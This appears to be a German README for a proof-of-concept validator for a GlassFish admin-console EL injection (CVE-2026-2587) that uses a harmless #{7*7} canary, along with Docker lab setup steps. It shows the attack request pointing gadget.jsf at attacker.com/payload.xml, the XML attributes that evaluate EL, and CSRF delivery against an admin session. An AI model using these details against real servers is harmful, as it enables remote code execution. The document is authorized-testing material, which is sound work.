CVE-2026-2587 PoC-Validierer für Eclipse GlassFish EL Injection RCE im Admin-Konsolen-Handler gadget.jsf. Sicherer authentifizierter Schwachstellenscanner für autorisierte Tests.
Sicherer PoC-Validator für CVE-2026-2587, ein kritisches EL-Injection/RCE-Problem, das die Gadget-Verarbeitung der Verwaltungskonsole von Eclipse GlassFish über /common/gadgets/gadget.jsf betrifft.
Dieses Tool hilft Sicherheitsteams, die GlassFish CVE-2026-2587-Exposition in autorisierten Umgebungen mithilfe eines harmlosen arithmetischen EL-Canary zu validieren.
Zugewiesen von: Eclipse Foundation (CNA) · Veröffentlicht: 19. Mai 2026 CVSS:
9.6 Critical·AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:HCWE: CWE-917 — Expression Language Injection Betroffene Versionen:Unbekanntim öffentlichen Advisory vom 21. Mai 2026 Patch-Versionen:Unbekanntim öffentlichen Advisory vom 21. Mai 2026 Scanner-Regel: Version dient nur als Routing-/Meldungskontext; das Urteil erfordert einen Nachweis.
In der Gadget-Verarbeitung der GlassFish-Verwaltungskonsole besteht eine kritische Schwachstelle für Remote-Codeausführung. Die Anwendung verarbeitet .xml-Dateien, die von einer über den Abfrageparameter gadget= bereitgestellten URL abgerufen werden, und wertet benutzergelieferte Werte in <ModulePrefs>-Attributen über die Java Expression Language (EL) Engine ohne Bereinigung oder Escape aus.```
GET /common/gadgets/gadget.jsf?gadget=http://attacker.com/payload.xml
Wenn das XML `#{7*7}` in einem `<ModulePrefs title="">`-Attribut enthält, werte GlassFish es serverseitig aus und gibt `49` zurück – was die EL-Ausführung bestätigt. Eine vollständige RCE-Kette folgt über den Zugriff der EL auf die Java-Laufzeit.
Aktuelle öffentliche Sicherheitshinweise veröffentlichen keine betroffene oder gepatchte Versionsgrenze. Dieser Validator ist daher beweisorientiert: Er erfasst die Fingerabdrücke von GlassFish und meldet Versionsmetadaten, klassifiziert ein Ziel jedoch nicht allein anhand einer Versionszeichenfolge als angreifbar.
---
## Funktionsweise

Der sichere Validierungspfad hostet eine harmlose XML-Sonde, sendet eine authentifizierte Admin-Konsolen-Anfrage an `gadget.jsf`, lässt GlassFish das XML von der Callback-URL abrufen und prüft, ob die `<ModulePrefs title="">`-Canary von `#{7*7}` zu `49` evaluiert.
**Injektionspunkt bestätigt vs. nicht bestätigt:**```xml
<!-- ✅ EL IS evaluated -->
<ModulePrefs title="#{7*7}" /> <!-- returns 49 -->
<ModulePrefs description="#{7*7}" /> <!-- returns 49 -->
<!-- ❌ EL NOT evaluated -->
<Content type="html">
<![CDATA[ #{7*7} ]]> <!-- returns #{7*7} literally -->
</Content>
| Szenario | Authentifizierung erforderlich? |
|---|---|
Direkter Treffer auf gadget.jsf | Ja — FORM-Authentifizierung, 200 Login-Seite |
| Realer CSRF-Angriff | Nein — nutzt die aktive Admin-Sitzung aus |
| Dieser Validator | Ja — --cookie oder --username/--password |
| Prüfung auf unauthentifizierte Offenlegung | Nein — Skript testet dies automatisch |
Der CVSS-Vektor PR:N / UI:R bedeutet:
PR:N — Angreifer benötigt keine eigenen AnmeldeinformationenUI:R — ein eingeloggter Admin muss interagieren (CSRF-Auslieferung)Für die Laborvalidierung überspringen Sie CSRF vollständig – nutzen Sie direkt Ihre eigene Admin-Sitzung.
Anforderungen: Python 3.9+ · `requests````bash git clone https://github.com/Bhanunamikaze/CVE-2026-2587-Exploit-POC cd CVE-2026-2587-Exploit-POC pip install requests
pip install colorama
**Repo-Inhalt:**```
CVE-2026-2587-Exploit-POC/
├── assets/
│ └── cve-2026-2587-validation-flow.png ← README workflow diagram
├── CVE-2026-2587-Exploit-POC.py ← main script
├── probe.xml ← ready-to-host static probe XML
├── targets.txt.example ← multi-target file template
└── README.md
Achtung: GHSA listet weiterhin betroffene und gepatchte Versionen als unbekannt.
omnifish/glassfish:7.0.15ist ein starker Lab-Kandidat — keine garantierte anfällige Build. Die Validierungsprimitive bleibt der arithmetische Canary: wenn#{7*7}zu49ausgewertet wird, ist EL aktiv.
docker compose -f docker-compose.lab.yml up
Startet GlassFish 7.0.15 mit an `127.0.0.1` gebundenen Ports und `host.docker.internal` vorverkabelt, sodass der Container Ihren lokalen XML-Server erreichen kann.
### Option B — reiner docker run```bash
docker run --rm \
--name gf-cve-2026-2587-lab \
-p 127.0.0.1:8080:8080 \
-p 127.0.0.1:4848:4848 \
--add-host=host.docker.internal:host-gateway \
omnifish/glassfish:7.0.15
Admin-Konsole: https://localhost:4848 · Anmeldung: admin / admin
(Selbstsigniertes Zertifikat — Browser-Warnung wird erwartet.)
In einem zweiten Terminal:```bash
python3 -m http.server 8000 --bind 0.0.0.0
Überprüfen Sie die Erreichbarkeit aus der Perspektive des Containers:```bash
docker exec gf-cve-2026-2587-lab \
curl -s http://host.docker.internal:8000/probe.xml | head -5